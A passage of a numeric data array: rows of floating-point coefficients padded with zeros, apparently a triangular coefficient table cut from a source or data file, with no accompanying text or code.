0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -1.3962, 1.15686, 0.10807, 0.99175, -0.26883, -0.10615, 1.2972, 0.81168, -2.28339, -1.45608, 2.1075, 3.30128, -1.08066, -2.51006, 1.80952, 2.6091, -0.99782, -2.84366, -1.71994, 0.7348, 0.37106, -0.39286, 0.7776, 1.58449, -1.38251, 0.42798, 2.05409, -1.94422, -1.0619, -0.8638, 0.67608, 0.71293, 1.97792, -1.61024, -0.87471, -2.2032, -0.40885, 0.99349, 2.16719, 2.03751, 3.39545, -0.26713, -0.27973, -2.08011, 0.53043, 2.13668, 0.65502, -0.12238, -0.16131, -0.34737, 0.49511, -0.75672, -1.06672, -0.43, -1.07059, -0.50032, 0.78248, -0.00363, -1.4425, -1.12828, -0.65295, -0.08918, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.35927, 1.56727, 0.81451, -1.92259, -0.24119, -0.24905, 0.5752, -1.09427, 0.90384, 2.71231, -0.17533, -3.39808, -1.00142, 3.14365, 1.6459, -1.305, -0.75668, 1.21232, 1.92644, -1.17188, -0.63762, 2.05778, 0.56054, -1.07057, -1.1326, 0.48512, 0.41309, 0.79191, 2.39676, 0.3447, -2.41931, -0.62751, -1.68344, 0.89791, 0.26327, 1.18841, 0.57121, 0.42631, -1.77837, -2.08084, -0.63618, -1.13708, -1.17569, 0.1799, 1.04985, -1.72698, -1.06899, 0.21414, -0.22657, -1.51699, -1.67453, -1.33384, 0.20671, 1.3206, 0.07994, -1.14618, 1.08788, 0.09744, 1.50764, -0.59287, 1.57722, 0.88235, 0.41565, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 1.40462, -1.28808, -0.94083, -0.05766, 1.1385, 0.51768, -0.92608, 1.46348, 0.49129, -2.26063, -1.9762, 2.31398, 3.44601, -0.56567, -1.89985, 1.07891, 2.10308, 0.10415, -1.34407, -1.40552, 0.78662, 0.68841, -0.62656, 0.10461, 1.63578, -2.12786, -0.76116, 1.73589, -1.63289, -1.03448, 0.81525, 1.76506, 1.24694, 1.22353, 0.00256, 1.17179, -0.538, -0.93819, -0.22932, 2.23732, 0.59696, 1.86139, 1.5941, 0.23466, -2.12836, -1.10436, 0.05804, 1.48574, -0.23365, 0.31617, 1.84354, 1.83822, -0.96964, -2.57531, -0.05035, -0.59224, -0.98732, -1.02509, 0.37611, -1.00065, -1.6586, -1.65358, -0.48873, 0.19542, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.81513, -1.02779, -0.12386, 1.6697, -0.96934, -0.77507, 0.01459, 0.0573, -1.62218, 0.64042, 3.46831, 1.17512, -2.91387, -1.83359, 1.52704, 0.82701, -1.22034, -0.01798, 0.35529, 1.79914, -1.61793, -2.78355, 0.67779, 0.53195, 0.28878, 0.27226, 0.40243, -1.09845, -0.05449, 2.1758, 1.20335, -1.89357, -0.55737, -1.33901, 0.8546, -1.95598, -0.74448, -0.16736, 1.89567, 0.35291, -1.50907, -0.69404, 0.72103, -0.88603, -0.18218, 0.41128, -0.72477, -1.68927, -0.981, 0.93287, 0.61166, -1.43755, -1.54546, -0.37727, 0.47736, 0.16266, 0.51107, 0.52722, -1.21925, 0.46502, 0.72602, 1.66826, 0.2846, 0.55048, 0.10644, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.97239, 2.48723, 0.13967, -1.68567, -0.28087, 2.04561, 1.115, -1.38228, 1.12599, 1.6937, -1.36629, -3.11588, 0.77645, 2.65136, 0.2928, -1.21931, -0.04482, 0.86278, -0.24697, -0.33142, 0.16785, 1.52921, 0.75702, 0.16459, 1.00955, 1.05756, -0.81762, 0.37342, 1.8696, -1.48053, -1.77207, 0.00327, 0.49536, 1.21477, 0.30307, 0.15279, 0.03483, 1.57277, -1.48679, -0.90177, 1.09719, 0.19539, -0.74843, 1.12892, 1.49203, -0.48946, 0.47603, 1.16423, 0.69112, 0.49936, -0.94292, -0.56317, 2.12747, 0.51534, -1.28941, 0.49825, -1.60325, 0.3406, 1.46593, 0.57846, -0.61909, -1.62985, -0.59824, -2.57648, -2.20274, -0.97057, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 1.17644, 0.15554, -0.65385, 1.29021, 1.97021, -0.50277, -0.77609, 1.48268, -0.13767, -2.25561, -1.2363, 2.27653, 1.57913, -1.51068, -0.42832, 1.30156, 1.02913, -1.04896, 0.13887, 0.97409, 1.82716, -0.56578, -2.70782, -0.4588, -0.37968, -1.54698, -0.05339, 0.07684, -2.17248, -0.7354, 1.32575, 1.95986, -1.07234, -0.63846, -0.79201, 2.1368, 0.45552, -1.96361, -1.41312, -0.46816, -0.28867, -0.45007, -0.50042, 0.40297, 0.34726, -0.82101, -1.77291, -0.98207, -2.08509, -1.5501, 0.23472, 2.0381, -0.62222, -0.54788, -0.64045, -0.20996, 0.6947, -1.62146, 0.21518, -0.52568, -0.07353, 0.44998, 1.32766, 2.53329, 2.20069, 0.14276, 0.2067, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.3028, -0.80801, 0.75009, -0.54358, -2.23109, -0.44628, 2.14499, 0.00472, -1.94039, 0.87753, 2.85286, 0.56132, -1.96125, 0.31158, 1.5513, 0.04738, -1.18368, 0.24998, 0.04166, -1.53855, -2.18832, -0.33691, 1.46817, 0.31316, 0.31967, 2.11728, 1.25363, -0.05079, 2.1705, 2.62376, -0.1448, -1.10391, 0.34001, -0.52091, 0.51379, -1.27281, 0.27831, -0.78098, 1.15814, 0.81105, 0.26918, 2.04049, 0.95519, -1.94018, 0.48222, 0.72211, 0.89835, 0.73242, 2.18837, 2.56501, 1.3292, -1.43296, -0.64185, -0.06876, 1.30115, 0.55628, 0.63047, -0.70728, -0.8819, 1.50771, 0.24647, 0.45479, -0.99587, -0.94267, 0.87642, 0.41793, -1.31677, -1.01337, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.68547, 0.26969, -0.97006, -0.47005, 1.44245, 1.0528, -2.37768, -0.37698, 2.18895, 1.22499, -1.36814, -2.12113, 1.13345, 1.8225, -0.71045, 0.24564, 0.99211, 0.972, -1.41766, 0.30081, 1.80931, 0.71041, -0.54823, -1.64776, 1.02623, -0.07668, -1.37782, 0.17232, -0.19081, -2.61744, -1.27619, 0.06544, 0.67542, -0.18476, -0.96299, -1.28057, 0.37804, 2.51312, -0.12022, -0.6455, -1.91452, -1.95338, -1.78117, 0.4208, 0.28583, -0.41482, -0.4787, -0.98039, -0.73027, -1.81235, -1.9226, -1.10215, 0.32772, -0.12406, -0.73447, -0.28245, -2.29137, 0.63855, 0.79635, -0.50191, -0.62873, -0.72992, 0.84044, 1.79235, 0.9672, 1.1706, 1.70984, 2.61073, 0.16106, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.37155, 0.9199, 1.20055, 0.81225, -0.82896, -1.35769, 1.42671, 1.77885, -0.93306, -1.45653, -0.25122, 1.70212, 0.83703, -0.82788, 0.83536, 0.60791, -0.78195, -1.34075, 0.98121, 1.64451, -1.01135, -2.24868, 0.18482, 2.52926, 0.02976, -1.95396, 0.97007, 0.41979, -0.99117, 1.82812, 2.10615, 1.19133, 0.49655, 1.75312, 0.66977, 1.16014, -0.52416, -1.01426, -1.0583, 0.02742, 0.59286, 1.43708, 2.05895, 1.28477, -0.18785, 0.62483, -0.11656, 0.31047, 0.34602, 1.62817, 2.21183, 2.64472, -0.25685, -1.20896, -0.70971, 1.47466, 1.05136, -0.00125, 0.22202, 0.04798, 2.67747, 0.28967, -0.70606, -0.95349, -1.14101, -0.00894, 0.84346, 1.20006, 1.4538, 1.91846, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 1.12112, 0.15783, -1.13086, -0.62558, 1.35948, 2.53531, 0.97495, -2.01642, -0.51869, 1.72006, 1.15438, -0.0952, -1.11092, -0.64682, -0.16549, -0.05114, 0.60289, 0.99663, 0.1639, -1.34678, 0.24329, 2.47025, 1.01411, -1.40991, -2.13264, 0.3824, 0.4658, -0.23733, 0.45437, 0.18192, -2.19281, -1.34079, -0.63865, -0.99047, -0.19578, 0.15554, -0.20302, -0.64443, 1.67952, 0.54841, 1.69263, -0.90517, -2.58153, -1.76464, -0.03177, -0.98679, 0.34654, -0.00536, -0.8575, -0.99951, -0.25218, -1.41168, -0.88962, -0.92336, 0.95734, 0.17035, -0.77709, -0.28109, 0.39817, 0.22583, -2.12644, 0.42096, 0.30227, 1.40611, 0.46713, -0.10437, -0.07839, -1.12385, -1.8202, 0.14893, 0.41129, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.73192, -0.77309, -0.31433, 1.04428, -0.86992, -0.65153, -0.29832, 1.23247, 0.05113, -1.00115, 0.26891, -0.0608, 0.87516, 1.2752, 0.72684, 1.11359, 0.65804, -0.38676, -1.27451, 0.30345, 0.58307, -1.63726, -2.83709, -0.26837, 2.78466, 0.72509, -1.96066, -0.12512, 0.29939, -1.12138, 2.27892, 1.32348, 0.01592, -0.00839, 1.08964, 0.64992, 1.816, 0.36492, 0.07435, -0.06166, -1.20019, -0.18364, 0.91912, 2.70885, 0.10763, -0.47036, 0.9936, 0.24316, -0.06323, -0.78253, -0.30175, 0.02043, 2.67224, 1.84079, 0.06937, 0.56157, -0.26561, 0.1117, -0.83121, 0.18606, 0.59096, 2.16277, 1.22269, -0.17559, 0.31113, -0.39716, -2.01713, 0.75421, 0.71822, 0.67194, 1.07206, 0.70044, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.08466, 1.28922, 0.32306, -1.29935, -0.50159, 0.66712, 0.51068, -0.09521, -0.55657, 0.32003, -0.52778, 0.06423, 1.40406, 1.05516, -0.02056, -1.16004, -0.66685, 0.55177, 0.59671, 0.84245, -0.94412, -0.96894, 2.01015, 2.18155, -0.01929, -0.94308, 0.51696, 0.34925, -0.01321, 0.61655, -0.97421, -1.21378, -0.34317, 0.03864, -1.31732, -1.48763, -1.21314, -0.09439, -1.43926, 0.7326, 0.9178, 1.98368, 1.26883, -2.00729, -0.77218, 0.22086, -0.92826, -1.58192, 0.34936, 0.73658, -0.59327, -0.87522, -1.38402, -1.99718, -1.432, -0.76685, 0.20441, 0.18453, 0.63208, 1.09799, 0.90559, -3.35481, -1.98627, -0.04425, 1.31856, 1.50747, 0.44793, -0.72341, -1.33473, -2.04166, -1.24053, -1.26164, -1.19338, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.63105, -0.53427, 0.35497, 1.47538, 0.94841, -2.57219, -0.51122, 1.16305, 1.27924, -1.1785, -1.35437, 0.51385, -0.80417, -1.41407, 0.94845, 2.1007, -0.32219, -0.31334, 0.3524, -0.31572, 1.24684, 1.5216, -0.38076, -2.48737, -1.05479, 0.49683, 0.38378, -1.03615, -1.35756, -0.81051, -1.30085, 1.9549, 1.1766, -0.90732, 0.24371, 1.09948, 0.43951, 0.7062, 0.05602, -0.70376, 0.44759, -1.43751, -2.18973, 0.22639, 1.69704, 0.40891, -0.2864, 0.31386, 1.05589, -0.85868, 0.32088, -1.0986, 0.67871, 0.20713, 0.76402, 0.86166, 1.26564, -0.30989, 0.13875, -0.3386, -1.10992, 0.64248, 1.28382, 1.77475, -1.56002, -1.07733, 0.45167, -0.46509, 0.87929, -0.37042, -0.65004, -1.13887, -0.02611, -0.07379, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -1.01452, 0.26947, 0.00245, -0.55014, -0.30046, 1.95298, 1.26703, 0.15372, -1.04618, 1.0401, 2.12147, -0.96821, -0.91839, 1.57671, 2.06597, 0.19685, -0.76024, -0.10377, -0.63154, -0.98909, 0.288, 0.10636, -0.86722, -0.25446, 0.84963, 0.02356, 0.03791, 0.62531, 0.27412, 1.77779, 1.40914, -1.25006, -1.40136, -0.04218, 1.61435, 0.49489, 0.58224, -1.20723, 0.20112, -1.12159, -1.30109, -0.25395, 1.43089, 1.73893, -0.89759, -1.30887, 0.02947, -0.02594, -0.73309, -0.523, 0.87003, 0.09109, -0.00782, -0.45869, 0.41706, -2.07832, -2.39254, -0.22361, -1.00303, 0.44492, 0.79418, 0.66409, -1.37185, -0.7152, -0.68618, 0.24133, 0.62427, -0.23706, -0.22081, 2.42028, 0.08368, -0.3765, -0.08438, -0.309, 0.02689, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.14539, 0.25189, -1.12616, 0.15516, 1.28259, 0.66752, -0.84907, -0.35059, 0.59528, 0.8243, -0.23635, 0.10013, 1.10096, -0.26455, -2.82679, -0.61897, 1.88366, 0.22327, -0.03655, 0.46179, -0.82607, -0.56705, 1.02833, 2.13135, 0.01918, -0.33721, -0.73932, -0.66431, -0.35623, -0.76642, -0.86939, -1.12319, 1.07767, 0.99696, -1.67146, -1.10405, -0.52129, 0.5252, 0.70314, 1.13288, -0.52204, 1.01277, -0.28648, -2.35999, -0.87834, 0.94725, 0.3048, -0.05611, -0.2619, 0.80887, -0.56288, -0.94646, -0.22317, -0.62663, -0.38126, -0.04216, -0.27485, -0.19081, 1.32948, -0.18704, 0.47983, -0.81181, -0.08607, -0.67836, 0.38876, -0.53133, -1.63354, 0.02213, 0.18805, -0.46124, 0.77388, 0.07231, 0.18196, -1.1075, -1.22279, 0.48008, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.49392, 0.12007, 1.16772, 0.04563, -1.6351, -0.46274, 0.68842, -0.05016, -0.3287, -0.89979, -0.09826, 0.79327, -1.02415, -0.9026, 1.61799, 1.94281, 0.1728, 0.2188, 1.27139, -0.22384, -0.80603, -0.28454, 1.09083, -0.02675, -1.44497, -0.42381, -0.31595, 0.24637, 0.60531, -0.98319, 0.73904, 1.37445, -0.64853, -0.96417, -0.17291, 0.55492, 0.4923, 1.88158, 0.11216, -0.07211, 0.2868, -1.25919, -0.41008, 0.80958, 1.79667, 0.57087, -0.76261, -0.88313, 0.40807, 0.1245, 0.45581, 0.41435, 0.14859, -0.99533, 0.76266, 2.36654, 0.04692, -1.3813, -1.31644, -1.43653, -0.50869, 0.16375, 0.31849, 1.27447, -0.33239, 0.01649, -0.49663, -0.37308, 0.9082, 0.14419, 0.85347, 1.21156, 0.56752, 0.43802, 0.51113, -0.28794, 0.49406, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.08828, -0.64289, 0.29471, 0.66241, 0.26973, -0.20548, -0.2835, 0.77789, 0.20236, 0.00257, -0.57168, -0.01924, 1.58638, 1.87992, 0.572, -1.92208, -1.0161, -0.06449, -0.67091, 0.71189, 1.49267, -0.36401, -1.56991, -1.38451, 1.64433, 1.76687, 0.88603, -0.30897, -1.31121, 0.03096, -0.80674, -0.88035, -0.61831, 0.36739, 0.85979, -0.10467, -0.12185, -2.13375, -1.10749, -0.61268, 0.98984, -0.16391, 0.43642, -0.17154, -1.75618, -1.54564, 0.01299, -0.12197, 0.7079, -0.03016, 0.54918, -0.69049, -0.01235, -0.68512, 0.44087, -2.25386, -0.14247, 0.2946, -0.1374, 1.10459, -0.64742, -0.01379, -0.24699, -0.64226, -0.84673, -0.7104, -0.14279, -0.28372, -1.1194, -0.30796, -0.02413, 0.10871, -0.30632, -0.41762, -0.264, -0.66339, 0.17265, 1.69653, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -1.09892, 0.36362, -0.22999, 0.09643, -0.14195, -0.14145, 1.13346, 0.33899, -0.16097, 0.81573, 0.77634, 0.01228, -0.30066, -0.83616, -0.03626, 0.66322, 0.29933, -0.19993, 0.08402, 0.13364, -1.25988, -0.03281, 0.4083, 1.37984, 0.99263, -0.96552, -1.1064, 0.14784, 0.61466, 0.77469, -0.60029, 0.15943, 0.188, -0.81895, -0.66509, 0.41495, -0.08214, 0.38089, 1.46559, 1.28061, 0.21278, 1.37443, -0.46558, 0.49329, 0.83881, 1.38801, 1.40241, 0.51351, -1.40466, -0.73507, 0.24481, 0.79755, 1.30297, -0.24875, -1.39468, 0.30217, 2.0364, 1.20436, 0.0106, -0.54486, 1.19753, -0.59712, -1.14496, -0.69472, 0.94003, 0.45284, -0.82298, 0.15014, 0.40944, 0.63908, 1.14435, 1.44791, 0.05943, 0.22501, 0.19894, 0.43122, -0.88217, -1.10724, 0.44931, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, 0.96765, -0.30091, -1.45505, 0.6526, 0.81292, 0.60039, -1.33793, -0.80487, 0.81335, 0.13362, -0.33084, -1.30204, -0.46909, 0.69736, 0.60906, 0.45514, 0.16514, 0.02377, -0.78998, -1.26045, 1.01308, 1.5092, 1.43739, -0.7648, -2.033, 0.22115, 1.23202, 0.54812, -0.39954, -1.24578, 0.79991, -0.74435, -1.20562, -0.36675, -0.28937, -0.43996, -0.47563, 0.51697, -1.00802, -1.63156, -0.96502, -0.8473, -0.28713, 0.13363, 0.00267, -1.37691, -1.65644, -0.06928, 0.27165, 0.71367, -0.04294, 0.07328, -0.16002, 1.07419, 1.07096, 0.11011, -1.39583, -1.35653, -1.29577, -0.27628, -0.03159, -0.65856, 0.60629, 0.59863, -0.40183, -1.16206, -1.1019, -0.65087, 0.14468, -1.23301, -0.8552, -0.47841, -0.2332, -0.1955, 0.34277, 0.36813, 0.03634, 1.02688, 0.58133, 0.11258, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.0, -0.90739, -0.09136, 1.50029, 0.07204, -0.03041, -0.019, -0.20947, 0.23973, -0.3717, -0.37479, 0.43259, 1.14544, 0.75246, -0.99817, -1.06195, 0.95237, 0.89884, 0.21279, 0.96127, 0.85414, -0.17003, -1.71419, -1.09762, 0.27796, 0.98001, 0.64806, -0.55215, -0.78012, -0.21058, 0.10131, -0.15772, -0.27203, 1.37365, 1.13953, -0.55044, -0.31914, 0.79885, -0.26707, -0.40455, 0.55066, 1.10649, 0.15831, 1.42549, 0.5526, 0.90604, -0.06756, 1.3271, 0.69445, 1.60371, -0.03575, 0.11747, -0.52872, 0.73133, 0.16662, 0.70054, -0.18232, 0.64509, 1.31532, 0.94387, 0.43131, -0.45958, 0.71512, 0.68977, 0.24167, -1.18655, -0.33685, 1.36243, 0.55503, -0.7802, -0.0441, 0.1147, 0.19816, 1.55977, 0.29672, -1.00758, -0.87627, -0.06229, -0.51613, 0.08309, 0.11881, 